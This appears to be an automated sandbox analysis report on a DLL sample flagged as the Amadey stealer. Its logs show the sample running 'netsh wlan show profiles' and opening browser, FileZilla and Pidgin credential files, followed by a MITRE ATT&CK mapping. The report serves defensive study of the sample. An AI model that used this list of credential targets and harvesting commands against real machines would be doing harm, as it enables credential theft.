Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.3208.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\GAOBCVIQIJ.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\LSBIHQFDVT.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\PWCCAWLGRE.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\QNCYCDFIJJ.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\ZQIXMVQGAH.docx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\ZQIXMVQGAH.xlsx VolumeInformation	Jump to behavior
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.3208.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\rundll32.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match

File source: hoPazBDFG9.dll, type: SAMPLE

Tries to harvest and steal WLAN passwords

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Comodo\Dragon\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Chromium\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\13pckee1.default-release\logins.json	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Orbitum\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Vivaldi\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Chedot\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\CocCoc\Browser\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Opera Software\Opera Stable\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\ov4x28i2.default\logins.json	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\CentBrowser\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\logins.json	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Windows\System32\rundll32.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\sitemanager.xml

Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files\WindowsApps\Microsoft.YourPhone_1.23082.131.0_x64__8wekyb3d8bbwe\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\ImmersiveControlPanel\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files (x86)\qcjXKAsVYkqhNdrMCwROkYieDHOkbOOXLvSIPSKgrKZkNgDSjrGUTXeznIdJEKplZDrVbVW\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Desktop\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files\WindowsApps\Microsoft.YourPhone_1.23082.131.0_x64__8wekyb3d8bbwe\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\ImmersiveControlPanel\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files (x86)\qcjXKAsVYkqhNdrMCwROkYieDHOkbOOXLvSIPSKgrKZkNgDSjrGUTXeznIdJEKplZDrVbVW\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Desktop\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files\WindowsApps\Microsoft.YourPhone_1.23082.131.0_x64__8wekyb3d8bbwe\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\ImmersiveControlPanel\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Program Files (x86)\qcjXKAsVYkqhNdrMCwROkYieDHOkbOOXLvSIPSKgrKZkNgDSjrGUTXeznIdJEKplZDrVbVW\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Windows\System32\WindowsPowerShell\v1.0\.purple\accounts.xml	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\Desktop\.purple\accounts.xml	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	111 Process Injection	1 Disable or Modify Tools	2 OS Credential Dumping	1 Security Software Discovery	Remote Services	2 Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	1 Credentials in Registry	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	11 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	1 Credentials In Files	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Rundll32	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

